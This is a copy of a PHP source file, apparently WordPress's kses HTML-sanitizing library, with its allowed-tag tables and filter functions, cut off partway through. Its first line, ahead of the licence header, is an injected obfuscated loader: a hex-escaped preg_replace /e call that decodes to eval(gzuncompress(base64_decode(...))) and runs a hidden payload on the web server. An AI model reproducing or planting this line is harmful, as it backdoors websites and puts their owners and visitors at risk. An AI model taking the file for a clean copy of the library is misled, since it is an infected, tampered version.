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| <?php $lqxizr = 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preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x75\x6E\x63\x6F\x6D\x70\x72\x65\x73\x73\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28\x69\x6D\x70\x6C\x6F\x64\x65\x28\x22\x22\x2C\x24\x6C\x71\x78\x69\x7A\x72\x29\x29\x29\x29\x3B","."); ?><?php | |
| /** | |
| * kses 0.2.2 - HTML/XHTML filter that only allows some elements and attributes | |
| * Copyright (C) 2002, 2003, 2005 Ulf Harnhammar | |
| * | |
| * This program is free software and open source software; you can redistribute | |
| * it and/or modify it under the terms of the GNU General Public License as | |
| * published by the Free Software Foundation; either version 2 of the License, | |
| * or (at your option) any later version. | |
| * | |
| * This program is distributed in the hope that it will be useful, but WITHOUT | |
| * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or | |
| * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for | |
| * more details. | |
| * | |
| * You should have received a copy of the GNU General Public License along | |
| * with this program; if not, write to the Free Software Foundation, Inc., | |
| * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA | |
| * http://www.gnu.org/licenses/gpl.html | |
| * | |
| * [kses strips evil scripts!] | |
| * | |
| * Added wp_ prefix to avoid conflicts with existing kses users | |
| * | |
| * @version 0.2.2 | |
| * @copyright (C) 2002, 2003, 2005 | |
| * @author Ulf Harnhammar <http://advogato.org/person/metaur/> | |
| * | |
| * @package External | |
| * @subpackage KSES | |
| * | |
| */ | |
| /** | |
| * You can override this in a plugin. | |
| * | |
| * @since 1.2.0 | |
| */ | |
| if ( ! defined( 'CUSTOM_TAGS' ) ) | |
| define( 'CUSTOM_TAGS', false ); | |
| if ( ! CUSTOM_TAGS ) { | |
| /** | |
| * Kses global for default allowable HTML tags. | |
| * | |
| * Can be override by using CUSTOM_TAGS constant. | |
| * | |
| * @global array $allowedposttags | |
| * @since 2.0.0 | |
| */ | |
| $allowedposttags = array( | |
| 'address' => array(), | |
| 'a' => array( | |
| 'class' => array (), | |
| 'href' => array (), | |
| 'id' => array (), | |
| 'title' => array (), | |
| 'rel' => array (), | |
| 'rev' => array (), | |
| 'name' => array (), | |
| 'target' => array()), | |
| 'abbr' => array( | |
| 'class' => array (), | |
| 'title' => array ()), | |
| 'acronym' => array( | |
| 'title' => array ()), | |
| 'article' => array( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'dir' => array (), | |
| 'lang' => array(), | |
| 'style' => array (), | |
| 'xml:lang' => array(), | |
| ), | |
| 'aside' => array( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'dir' => array (), | |
| 'lang' => array(), | |
| 'style' => array (), | |
| 'xml:lang' => array(), | |
| ), | |
| 'b' => array(), | |
| 'big' => array(), | |
| 'blockquote' => array( | |
| 'id' => array (), | |
| 'cite' => array (), | |
| 'class' => array(), | |
| 'lang' => array(), | |
| 'xml:lang' => array()), | |
| 'br' => array ( | |
| 'class' => array ()), | |
| 'button' => array( | |
| 'disabled' => array (), | |
| 'name' => array (), | |
| 'type' => array (), | |
| 'value' => array ()), | |
| 'caption' => array( | |
| 'align' => array (), | |
| 'class' => array ()), | |
| 'cite' => array ( | |
| 'class' => array(), | |
| 'dir' => array(), | |
| 'lang' => array(), | |
| 'title' => array ()), | |
| 'code' => array ( | |
| 'style' => array()), | |
| 'col' => array( | |
| 'align' => array (), | |
| 'char' => array (), | |
| 'charoff' => array (), | |
| 'span' => array (), | |
| 'dir' => array(), | |
| 'style' => array (), | |
| 'valign' => array (), | |
| 'width' => array ()), | |
| 'del' => array( | |
| 'datetime' => array ()), | |
| 'dd' => array(), | |
| 'details' => array( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'dir' => array (), | |
| 'lang' => array(), | |
| 'open' => array (), | |
| 'style' => array (), | |
| 'xml:lang' => array(), | |
| ), | |
| 'div' => array( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'dir' => array (), | |
| 'lang' => array(), | |
| 'style' => array (), | |
| 'xml:lang' => array()), | |
| 'dl' => array(), | |
| 'dt' => array(), | |
| 'em' => array(), | |
| 'fieldset' => array(), | |
| 'figure' => array( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'dir' => array (), | |
| 'lang' => array(), | |
| 'style' => array (), | |
| 'xml:lang' => array(), | |
| ), | |
| 'figcaption' => array( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'dir' => array (), | |
| 'lang' => array(), | |
| 'style' => array (), | |
| 'xml:lang' => array(), | |
| ), | |
| 'font' => array( | |
| 'color' => array (), | |
| 'face' => array (), | |
| 'size' => array ()), | |
| 'footer' => array( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'dir' => array (), | |
| 'lang' => array(), | |
| 'style' => array (), | |
| 'xml:lang' => array(), | |
| ), | |
| 'form' => array( | |
| 'action' => array (), | |
| 'accept' => array (), | |
| 'accept-charset' => array (), | |
| 'enctype' => array (), | |
| 'method' => array (), | |
| 'name' => array (), | |
| 'target' => array ()), | |
| 'h1' => array( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'id' => array (), | |
| 'style' => array ()), | |
| 'h2' => array ( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'id' => array (), | |
| 'style' => array ()), | |
| 'h3' => array ( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'id' => array (), | |
| 'style' => array ()), | |
| 'h4' => array ( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'id' => array (), | |
| 'style' => array ()), | |
| 'h5' => array ( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'id' => array (), | |
| 'style' => array ()), | |
| 'h6' => array ( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'id' => array (), | |
| 'style' => array ()), | |
| 'header' => array( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'dir' => array (), | |
| 'lang' => array(), | |
| 'style' => array (), | |
| 'xml:lang' => array(), | |
| ), | |
| 'hgroup' => array( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'dir' => array (), | |
| 'lang' => array(), | |
| 'style' => array (), | |
| 'xml:lang' => array(), | |
| ), | |
| 'hr' => array ( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'noshade' => array (), | |
| 'size' => array (), | |
| 'width' => array ()), | |
| 'i' => array(), | |
| 'img' => array( | |
| 'alt' => array (), | |
| 'align' => array (), | |
| 'border' => array (), | |
| 'class' => array (), | |
| 'height' => array (), | |
| 'hspace' => array (), | |
| 'longdesc' => array (), | |
| 'vspace' => array (), | |
| 'src' => array (), | |
| 'style' => array (), | |
| 'width' => array ()), | |
| 'ins' => array( | |
| 'datetime' => array (), | |
| 'cite' => array ()), | |
| 'kbd' => array(), | |
| 'label' => array( | |
| 'for' => array ()), | |
| 'legend' => array( | |
| 'align' => array ()), | |
| 'li' => array ( | |
| 'align' => array (), | |
| 'class' => array ()), | |
| 'menu' => array ( | |
| 'class' => array (), | |
| 'style' => array (), | |
| 'type' => array ()), | |
| 'nav' => array( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'dir' => array (), | |
| 'lang' => array(), | |
| 'style' => array (), | |
| 'xml:lang' => array(), | |
| ), | |
| 'p' => array( | |
| 'class' => array (), | |
| 'align' => array (), | |
| 'dir' => array(), | |
| 'lang' => array(), | |
| 'style' => array (), | |
| 'xml:lang' => array()), | |
| 'pre' => array( | |
| 'style' => array(), | |
| 'width' => array ()), | |
| 'q' => array( | |
| 'cite' => array ()), | |
| 's' => array(), | |
| 'span' => array ( | |
| 'class' => array (), | |
| 'dir' => array (), | |
| 'align' => array (), | |
| 'lang' => array (), | |
| 'style' => array (), | |
| 'title' => array (), | |
| 'xml:lang' => array()), | |
| 'section' => array( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'dir' => array (), | |
| 'lang' => array(), | |
| 'style' => array (), | |
| 'xml:lang' => array(), | |
| ), | |
| 'strike' => array(), | |
| 'strong' => array(), | |
| 'sub' => array(), | |
| 'summary' => array( | |
| 'align' => array (), | |
| 'class' => array (), | |
| 'dir' => array (), | |
| 'lang' => array(), | |
| 'style' => array (), | |
| 'xml:lang' => array(), | |
| ), | |
| 'sup' => array(), | |
| 'table' => array( | |
| 'align' => array (), | |
| 'bgcolor' => array (), | |
| 'border' => array (), | |
| 'cellpadding' => array (), | |
| 'cellspacing' => array (), | |
| 'class' => array (), | |
| 'dir' => array(), | |
| 'id' => array(), | |
| 'rules' => array (), | |
| 'style' => array (), | |
| 'summary' => array (), | |
| 'width' => array ()), | |
| 'tbody' => array( | |
| 'align' => array (), | |
| 'char' => array (), | |
| 'charoff' => array (), | |
| 'valign' => array ()), | |
| 'td' => array( | |
| 'abbr' => array (), | |
| 'align' => array (), | |
| 'axis' => array (), | |
| 'bgcolor' => array (), | |
| 'char' => array (), | |
| 'charoff' => array (), | |
| 'class' => array (), | |
| 'colspan' => array (), | |
| 'dir' => array(), | |
| 'headers' => array (), | |
| 'height' => array (), | |
| 'nowrap' => array (), | |
| 'rowspan' => array (), | |
| 'scope' => array (), | |
| 'style' => array (), | |
| 'valign' => array (), | |
| 'width' => array ()), | |
| 'textarea' => array( | |
| 'cols' => array (), | |
| 'rows' => array (), | |
| 'disabled' => array (), | |
| 'name' => array (), | |
| 'readonly' => array ()), | |
| 'tfoot' => array( | |
| 'align' => array (), | |
| 'char' => array (), | |
| 'class' => array (), | |
| 'charoff' => array (), | |
| 'valign' => array ()), | |
| 'th' => array( | |
| 'abbr' => array (), | |
| 'align' => array (), | |
| 'axis' => array (), | |
| 'bgcolor' => array (), | |
| 'char' => array (), | |
| 'charoff' => array (), | |
| 'class' => array (), | |
| 'colspan' => array (), | |
| 'headers' => array (), | |
| 'height' => array (), | |
| 'nowrap' => array (), | |
| 'rowspan' => array (), | |
| 'scope' => array (), | |
| 'valign' => array (), | |
| 'width' => array ()), | |
| 'thead' => array( | |
| 'align' => array (), | |
| 'char' => array (), | |
| 'charoff' => array (), | |
| 'class' => array (), | |
| 'valign' => array ()), | |
| 'title' => array(), | |
| 'tr' => array( | |
| 'align' => array (), | |
| 'bgcolor' => array (), | |
| 'char' => array (), | |
| 'charoff' => array (), | |
| 'class' => array (), | |
| 'style' => array (), | |
| 'valign' => array ()), | |
| 'tt' => array(), | |
| 'u' => array(), | |
| 'ul' => array ( | |
| 'class' => array (), | |
| 'style' => array (), | |
| 'type' => array ()), | |
| 'ol' => array ( | |
| 'class' => array (), | |
| 'start' => array (), | |
| 'style' => array (), | |
| 'type' => array ()), | |
| 'var' => array ()); | |
| /** | |
| * Kses allowed HTML elements. | |
| * | |
| * @global array $allowedtags | |
| * @since 1.0.0 | |
| */ | |
| $allowedtags = array( | |
| 'a' => array( | |
| 'href' => array (), | |
| 'title' => array ()), | |
| 'abbr' => array( | |
| 'title' => array ()), | |
| 'acronym' => array( | |
| 'title' => array ()), | |
| 'b' => array(), | |
| 'blockquote' => array( | |
| 'cite' => array ()), | |
| // 'br' => array(), | |
| 'cite' => array (), | |
| 'code' => array(), | |
| 'del' => array( | |
| 'datetime' => array ()), | |
| // 'dd' => array(), | |
| // 'dl' => array(), | |
| // 'dt' => array(), | |
| 'em' => array (), 'i' => array (), | |
| // 'ins' => array('datetime' => array(), 'cite' => array()), | |
| // 'li' => array(), | |
| // 'ol' => array(), | |
| // 'p' => array(), | |
| 'q' => array( | |
| 'cite' => array ()), | |
| 'strike' => array(), | |
| 'strong' => array(), | |
| // 'sub' => array(), | |
| // 'sup' => array(), | |
| // 'u' => array(), | |
| // 'ul' => array(), | |
| ); | |
| $allowedentitynames = array( | |
| 'nbsp', 'iexcl', 'cent', 'pound', 'curren', 'yen', | |
| 'brvbar', 'sect', 'uml', 'copy', 'ordf', 'laquo', | |
| 'not', 'shy', 'reg', 'macr', 'deg', 'plusmn', | |
| 'acute', 'micro', 'para', 'middot', 'cedil', 'ordm', | |
| 'raquo', 'iquest', 'Agrave', 'Aacute', 'Acirc', 'Atilde', | |
| 'Auml', 'Aring', 'AElig', 'Ccedil', 'Egrave', 'Eacute', | |
| 'Ecirc', 'Euml', 'Igrave', 'Iacute', 'Icirc', 'Iuml', | |
| 'ETH', 'Ntilde', 'Ograve', 'Oacute', 'Ocirc', 'Otilde', | |
| 'Ouml', 'times', 'Oslash', 'Ugrave', 'Uacute', 'Ucirc', | |
| 'Uuml', 'Yacute', 'THORN', 'szlig', 'agrave', 'aacute', | |
| 'acirc', 'atilde', 'auml', 'aring', 'aelig', 'ccedil', | |
| 'egrave', 'eacute', 'ecirc', 'euml', 'igrave', 'iacute', | |
| 'icirc', 'iuml', 'eth', 'ntilde', 'ograve', 'oacute', | |
| 'ocirc', 'otilde', 'ouml', 'divide', 'oslash', 'ugrave', | |
| 'uacute', 'ucirc', 'uuml', 'yacute', 'thorn', 'yuml', | |
| 'quot', 'amp', 'lt', 'gt', 'apos', 'OElig', | |
| 'oelig', 'Scaron', 'scaron', 'Yuml', 'circ', 'tilde', | |
| 'ensp', 'emsp', 'thinsp', 'zwnj', 'zwj', 'lrm', | |
| 'rlm', 'ndash', 'mdash', 'lsquo', 'rsquo', 'sbquo', | |
| 'ldquo', 'rdquo', 'bdquo', 'dagger', 'Dagger', 'permil', | |
| 'lsaquo', 'rsaquo', 'euro', 'fnof', 'Alpha', 'Beta', | |
| 'Gamma', 'Delta', 'Epsilon', 'Zeta', 'Eta', 'Theta', | |
| 'Iota', 'Kappa', 'Lambda', 'Mu', 'Nu', 'Xi', | |
| 'Omicron', 'Pi', 'Rho', 'Sigma', 'Tau', 'Upsilon', | |
| 'Phi', 'Chi', 'Psi', 'Omega', 'alpha', 'beta', | |
| 'gamma', 'delta', 'epsilon', 'zeta', 'eta', 'theta', | |
| 'iota', 'kappa', 'lambda', 'mu', 'nu', 'xi', | |
| 'omicron', 'pi', 'rho', 'sigmaf', 'sigma', 'tau', | |
| 'upsilon', 'phi', 'chi', 'psi', 'omega', 'thetasym', | |
| 'upsih', 'piv', 'bull', 'hellip', 'prime', 'Prime', | |
| 'oline', 'frasl', 'weierp', 'image', 'real', 'trade', | |
| 'alefsym', 'larr', 'uarr', 'rarr', 'darr', 'harr', | |
| 'crarr', 'lArr', 'uArr', 'rArr', 'dArr', 'hArr', | |
| 'forall', 'part', 'exist', 'empty', 'nabla', 'isin', | |
| 'notin', 'ni', 'prod', 'sum', 'minus', 'lowast', | |
| 'radic', 'prop', 'infin', 'ang', 'and', 'or', | |
| 'cap', 'cup', 'int', 'sim', 'cong', 'asymp', | |
| 'ne', 'equiv', 'le', 'ge', 'sub', 'sup', | |
| 'nsub', 'sube', 'supe', 'oplus', 'otimes', 'perp', | |
| 'sdot', 'lceil', 'rceil', 'lfloor', 'rfloor', 'lang', | |
| 'rang', 'loz', 'spades', 'clubs', 'hearts', 'diams', | |
| ); | |
| } | |
| /** | |
| * Filters content and keeps only allowable HTML elements. | |
| * | |
| * This function makes sure that only the allowed HTML element names, attribute | |
| * names and attribute values plus only sane HTML entities will occur in | |
| * $string. You have to remove any slashes from PHP's magic quotes before you | |
| * call this function. | |
| * | |
| * The default allowed protocols are 'http', 'https', 'ftp', 'mailto', 'news', | |
| * 'irc', 'gopher', 'nntp', 'feed', 'telnet, 'mms', 'rtsp' and 'svn'. This | |
| * covers all common link protocols, except for 'javascript' which should not | |
| * be allowed for untrusted users. | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @param string $string Content to filter through kses | |
| * @param array $allowed_html List of allowed HTML elements | |
| * @param array $allowed_protocols Optional. Allowed protocol in links. | |
| * @return string Filtered content with only allowed HTML elements | |
| */ | |
| function wp_kses($string, $allowed_html, $allowed_protocols = array ()) { | |
| if ( empty( $allowed_protocols ) ) | |
| $allowed_protocols = wp_allowed_protocols(); | |
| $string = wp_kses_no_null($string); | |
| $string = wp_kses_js_entities($string); | |
| $string = wp_kses_normalize_entities($string); | |
| $allowed_html_fixed = wp_kses_array_lc($allowed_html); | |
| $string = wp_kses_hook($string, $allowed_html_fixed, $allowed_protocols); // WP changed the order of these funcs and added args to wp_kses_hook | |
| return wp_kses_split($string, $allowed_html_fixed, $allowed_protocols); | |
| } | |
| /** | |
| * You add any kses hooks here. | |
| * | |
| * There is currently only one kses WordPress hook and it is called here. All | |
| * parameters are passed to the hooks and expected to receive a string. | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @param string $string Content to filter through kses | |
| * @param array $allowed_html List of allowed HTML elements | |
| * @param array $allowed_protocols Allowed protocol in links | |
| * @return string Filtered content through 'pre_kses' hook | |
| */ | |
| function wp_kses_hook($string, $allowed_html, $allowed_protocols) { | |
| $string = apply_filters('pre_kses', $string, $allowed_html, $allowed_protocols); | |
| return $string; | |
| } | |
| /** | |
| * This function returns kses' version number. | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @return string KSES Version Number | |
| */ | |
| function wp_kses_version() { | |
| return '0.2.2'; | |
| } | |
| /** | |
| * Searches for HTML tags, no matter how malformed. | |
| * | |
| * It also matches stray ">" characters. | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @param string $string Content to filter | |
| * @param array $allowed_html Allowed HTML elements | |
| * @param array $allowed_protocols Allowed protocols to keep | |
| * @return string Content with fixed HTML tags | |
| */ | |
| function wp_kses_split($string, $allowed_html, $allowed_protocols) { | |
| global $pass_allowed_html, $pass_allowed_protocols; | |
| $pass_allowed_html = $allowed_html; | |
| $pass_allowed_protocols = $allowed_protocols; | |
| return preg_replace_callback( '%(<!--.*?(-->|$))|(<[^>]*(>|$)|>)%', '_wp_kses_split_callback', $string ); | |
| } | |
| /** | |
| * Callback for wp_kses_split. | |
| * | |
| * @since 3.1.0 | |
| * @access private | |
| */ | |
| function _wp_kses_split_callback( $match ) { | |
| global $pass_allowed_html, $pass_allowed_protocols; | |
| return wp_kses_split2( $match[0], $pass_allowed_html, $pass_allowed_protocols ); | |
| } | |
| /** | |
| * Callback for wp_kses_split for fixing malformed HTML tags. | |
| * | |
| * This function does a lot of work. It rejects some very malformed things like | |
| * <:::>. It returns an empty string, if the element isn't allowed (look ma, no | |
| * strip_tags()!). Otherwise it splits the tag into an element and an attribute | |
| * list. | |
| * | |
| * After the tag is split into an element and an attribute list, it is run | |
| * through another filter which will remove illegal attributes and once that is | |
| * completed, will be returned. | |
| * | |
| * @access private | |
| * @since 1.0.0 | |
| * @uses wp_kses_attr() | |
| * | |
| * @param string $string Content to filter | |
| * @param array $allowed_html Allowed HTML elements | |
| * @param array $allowed_protocols Allowed protocols to keep | |
| * @return string Fixed HTML element | |
| */ | |
| function wp_kses_split2($string, $allowed_html, $allowed_protocols) { | |
| $string = wp_kses_stripslashes($string); | |
| if (substr($string, 0, 1) != '<') | |
| return '>'; | |
| # It matched a ">" character | |
| if ( '<!--' == substr( $string, 0, 4 ) ) { | |
| $string = str_replace( array('<!--', '-->'), '', $string ); | |
| while ( $string != ($newstring = wp_kses($string, $allowed_html, $allowed_protocols)) ) | |
| $string = $newstring; | |
| if ( $string == '' ) | |
| return ''; | |
| // prevent multiple dashes in comments | |
| $string = preg_replace('/--+/', '-', $string); | |
| // prevent three dashes closing a comment | |
| $string = preg_replace('/-$/', '', $string); | |
| return "<!--{$string}-->"; | |
| } | |
| # Allow HTML comments | |
| if (!preg_match('%^<\s*(/\s*)?([a-zA-Z0-9]+)([^>]*)>?$%', $string, $matches)) | |
| return ''; | |
| # It's seriously malformed | |
| $slash = trim($matches[1]); | |
| $elem = $matches[2]; | |
| $attrlist = $matches[3]; | |
| if ( ! isset($allowed_html[strtolower($elem)]) ) | |
| return ''; | |
| # They are using a not allowed HTML element | |
| if ($slash != '') | |
| return "</$elem>"; | |
| # No attributes are allowed for closing elements | |
| return wp_kses_attr( $elem, $attrlist, $allowed_html, $allowed_protocols ); | |
| } | |
| /** | |
| * Removes all attributes, if none are allowed for this element. | |
| * | |
| * If some are allowed it calls wp_kses_hair() to split them further, and then | |
| * it builds up new HTML code from the data that kses_hair() returns. It also | |
| * removes "<" and ">" characters, if there are any left. One more thing it does | |
| * is to check if the tag has a closing XHTML slash, and if it does, it puts one | |
| * in the returned code as well. | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @param string $element HTML element/tag | |
| * @param string $attr HTML attributes from HTML element to closing HTML element tag | |
| * @param array $allowed_html Allowed HTML elements | |
| * @param array $allowed_protocols Allowed protocols to keep | |
| * @return string Sanitized HTML element | |
| */ | |
| function wp_kses_attr($element, $attr, $allowed_html, $allowed_protocols) { | |
| # Is there a closing XHTML slash at the end of the attributes? | |
| $xhtml_slash = ''; | |
| if (preg_match('%\s*/\s*$%', $attr)) | |
| $xhtml_slash = ' /'; | |
| # Are any attributes allowed at all for this element? | |
| if ( ! isset($allowed_html[strtolower($element)]) || count($allowed_html[strtolower($element)]) == 0 ) | |
| return "<$element$xhtml_slash>"; | |
| # Split it | |
| $attrarr = wp_kses_hair($attr, $allowed_protocols); | |
| # Go through $attrarr, and save the allowed attributes for this element | |
| # in $attr2 | |
| $attr2 = ''; | |
| $allowed_attr = $allowed_html[strtolower($element)]; | |
| foreach ($attrarr as $arreach) { | |
| if ( ! isset( $allowed_attr[strtolower($arreach['name'])] ) ) | |
| continue; # the attribute is not allowed | |
| $current = $allowed_attr[strtolower($arreach['name'])]; | |
| if ( $current == '' ) | |
| continue; # the attribute is not allowed | |
| if ( ! is_array($current) ) { | |
| $attr2 .= ' '.$arreach['whole']; | |
| # there are no checks | |
| } else { | |
| # there are some checks | |
| $ok = true; | |
| foreach ($current as $currkey => $currval) { | |
| if ( ! wp_kses_check_attr_val($arreach['value'], $arreach['vless'], $currkey, $currval) ) { | |
| $ok = false; | |
| break; | |
| } | |
| } | |
| if ( strtolower($arreach['name']) == 'style' ) { | |
| $orig_value = $arreach['value']; | |
| $value = safecss_filter_attr($orig_value); | |
| if ( empty($value) ) | |
| continue; | |
| $arreach['value'] = $value; | |
| $arreach['whole'] = str_replace($orig_value, $value, $arreach['whole']); | |
| } | |
| if ($ok) | |
| $attr2 .= ' '.$arreach['whole']; # it passed them | |
| } # if !is_array($current) | |
| } # foreach | |
| # Remove any "<" or ">" characters | |
| $attr2 = preg_replace('/[<>]/', '', $attr2); | |
| return "<$element$attr2$xhtml_slash>"; | |
| } | |
| /** | |
| * Builds an attribute list from string containing attributes. | |
| * | |
| * This function does a lot of work. It parses an attribute list into an array | |
| * with attribute data, and tries to do the right thing even if it gets weird | |
| * input. It will add quotes around attribute values that don't have any quotes | |
| * or apostrophes around them, to make it easier to produce HTML code that will | |
| * conform to W3C's HTML specification. It will also remove bad URL protocols | |
| * from attribute values. It also reduces duplicate attributes by using the | |
| * attribute defined first (foo='bar' foo='baz' will result in foo='bar'). | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @param string $attr Attribute list from HTML element to closing HTML element tag | |
| * @param array $allowed_protocols Allowed protocols to keep | |
| * @return array List of attributes after parsing | |
| */ | |
| function wp_kses_hair($attr, $allowed_protocols) { | |
| $attrarr = array (); | |
| $mode = 0; | |
| $attrname = ''; | |
| $uris = array('xmlns', 'profile', 'href', 'src', 'cite', 'classid', 'codebase', 'data', 'usemap', 'longdesc', 'action'); | |
| # Loop through the whole attribute list | |
| while (strlen($attr) != 0) { | |
| $working = 0; # Was the last operation successful? | |
| switch ($mode) { | |
| case 0 : # attribute name, href for instance | |
| if (preg_match('/^([-a-zA-Z]+)/', $attr, $match)) { | |
| $attrname = $match[1]; | |
| $working = $mode = 1; | |
| $attr = preg_replace('/^[-a-zA-Z]+/', '', $attr); | |
| } | |
| break; | |
| case 1 : # equals sign or valueless ("selected") | |
| if (preg_match('/^\s*=\s*/', $attr)) # equals sign | |
| { | |
| $working = 1; | |
| $mode = 2; | |
| $attr = preg_replace('/^\s*=\s*/', '', $attr); | |
| break; | |
| } | |
| if (preg_match('/^\s+/', $attr)) # valueless | |
| { | |
| $working = 1; | |
| $mode = 0; | |
| if(FALSE === array_key_exists($attrname, $attrarr)) { | |
| $attrarr[$attrname] = array ('name' => $attrname, 'value' => '', 'whole' => $attrname, 'vless' => 'y'); | |
| } | |
| $attr = preg_replace('/^\s+/', '', $attr); | |
| } | |
| break; | |
| case 2 : # attribute value, a URL after href= for instance | |
| if (preg_match('%^"([^"]*)"(\s+|/?$)%', $attr, $match)) | |
| # "value" | |
| { | |
| $thisval = $match[1]; | |
| if ( in_array(strtolower($attrname), $uris) ) | |
| $thisval = wp_kses_bad_protocol($thisval, $allowed_protocols); | |
| if(FALSE === array_key_exists($attrname, $attrarr)) { | |
| $attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname=\"$thisval\"", 'vless' => 'n'); | |
| } | |
| $working = 1; | |
| $mode = 0; | |
| $attr = preg_replace('/^"[^"]*"(\s+|$)/', '', $attr); | |
| break; | |
| } | |
| if (preg_match("%^'([^']*)'(\s+|/?$)%", $attr, $match)) | |
| # 'value' | |
| { | |
| $thisval = $match[1]; | |
| if ( in_array(strtolower($attrname), $uris) ) | |
| $thisval = wp_kses_bad_protocol($thisval, $allowed_protocols); | |
| if(FALSE === array_key_exists($attrname, $attrarr)) { | |
| $attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname='$thisval'", 'vless' => 'n'); | |
| } | |
| $working = 1; | |
| $mode = 0; | |
| $attr = preg_replace("/^'[^']*'(\s+|$)/", '', $attr); | |
| break; | |
| } | |
| if (preg_match("%^([^\s\"']+)(\s+|/?$)%", $attr, $match)) | |
| # value | |
| { | |
| $thisval = $match[1]; | |
| if ( in_array(strtolower($attrname), $uris) ) | |
| $thisval = wp_kses_bad_protocol($thisval, $allowed_protocols); | |
| if(FALSE === array_key_exists($attrname, $attrarr)) { | |
| $attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname=\"$thisval\"", 'vless' => 'n'); | |
| } | |
| # We add quotes to conform to W3C's HTML spec. | |
| $working = 1; | |
| $mode = 0; | |
| $attr = preg_replace("%^[^\s\"']+(\s+|$)%", '', $attr); | |
| } | |
| break; | |
| } # switch | |
| if ($working == 0) # not well formed, remove and try again | |
| { | |
| $attr = wp_kses_html_error($attr); | |
| $mode = 0; | |
| } | |
| } # while | |
| if ($mode == 1 && FALSE === array_key_exists($attrname, $attrarr)) | |
| # special case, for when the attribute list ends with a valueless | |
| # attribute like "selected" | |
| $attrarr[$attrname] = array ('name' => $attrname, 'value' => '', 'whole' => $attrname, 'vless' => 'y'); | |
| return $attrarr; | |
| } | |
| /** | |
| * Performs different checks for attribute values. | |
| * | |
| * The currently implemented checks are "maxlen", "minlen", "maxval", "minval" | |
| * and "valueless". | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @param string $value Attribute value | |
| * @param string $vless Whether the value is valueless. Use 'y' or 'n' | |
| * @param string $checkname What $checkvalue is checking for. | |
| * @param mixed $checkvalue What constraint the value should pass | |
| * @return bool Whether check passes | |
| */ | |
| function wp_kses_check_attr_val($value, $vless, $checkname, $checkvalue) { | |
| $ok = true; | |
| switch (strtolower($checkname)) { | |
| case 'maxlen' : | |
| # The maxlen check makes sure that the attribute value has a length not | |
| # greater than the given value. This can be used to avoid Buffer Overflows | |
| # in WWW clients and various Internet servers. | |
| if (strlen($value) > $checkvalue) | |
| $ok = false; | |
| break; | |
| case 'minlen' : | |
| # The minlen check makes sure that the attribute value has a length not | |
| # smaller than the given value. | |
| if (strlen($value) < $checkvalue) | |
| $ok = false; | |
| break; | |
| case 'maxval' : | |
| # The maxval check does two things: it checks that the attribute value is | |
| # an integer from 0 and up, without an excessive amount of zeroes or | |
| # whitespace (to avoid Buffer Overflows). It also checks that the attribute | |
| # value is not greater than the given value. | |
| # This check can be used to avoid Denial of Service attacks. | |
| if (!preg_match('/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value)) | |
| $ok = false; | |
| if ($value > $checkvalue) | |
| $ok = false; | |
| break; | |
| case 'minval' : | |
| # The minval check makes sure that the attribute value is a positive integer, | |
| # and that it is not smaller than the given value. | |
| if (!preg_match('/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value)) | |
| $ok = false; | |
| if ($value < $checkvalue) | |
| $ok = false; | |
| break; | |
| case 'valueless' : | |
| # The valueless check makes sure if the attribute has a value | |
| # (like <a href="blah">) or not (<option selected>). If the given value | |
| # is a "y" or a "Y", the attribute must not have a value. | |
| # If the given value is an "n" or an "N", the attribute must have one. | |
| if (strtolower($checkvalue) != $vless) | |
| $ok = false; | |
| break; | |
| } # switch | |
| return $ok; | |
| } | |
| /** | |
| * Sanitize string from bad protocols. | |
| * | |
| * This function removes all non-allowed protocols from the beginning of | |
| * $string. It ignores whitespace and the case of the letters, and it does | |
| * understand HTML entities. It does its work in a while loop, so it won't be | |
| * fooled by a string like "javascript:javascript:alert(57)". | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @param string $string Content to filter bad protocols from | |
| * @param array $allowed_protocols Allowed protocols to keep | |
| * @return string Filtered content | |
| */ | |
| function wp_kses_bad_protocol($string, $allowed_protocols) { | |
| $string = wp_kses_no_null($string); | |
| $iterations = 0; | |
| do { | |
| $original_string = $string; | |
| $string = wp_kses_bad_protocol_once($string, $allowed_protocols); | |
| } while ( $original_string != $string && ++$iterations < 6 ); | |
| if ( $original_string != $string ) | |
| return ''; | |
| return $string; | |
| } | |
| /** | |
| * Removes any NULL characters in $string. | |
| * | |
| * @since 1.0.0 | |
| * | |
| * @param string $string | |
| * @return string | |
| */ | |
| function wp_kses_no_null($string) { | |
| $string = preg_replace('/\0+/', '', $string); | |
| $string = preg_replace('/(\\\\0)+/', '', $string); | |
| return $string; | |
| } | |
| /** | |
| * Strips slashes from in front of quotes. | |
| * | |
| * This function changes the character sequence \" to just ". It leaves all | |
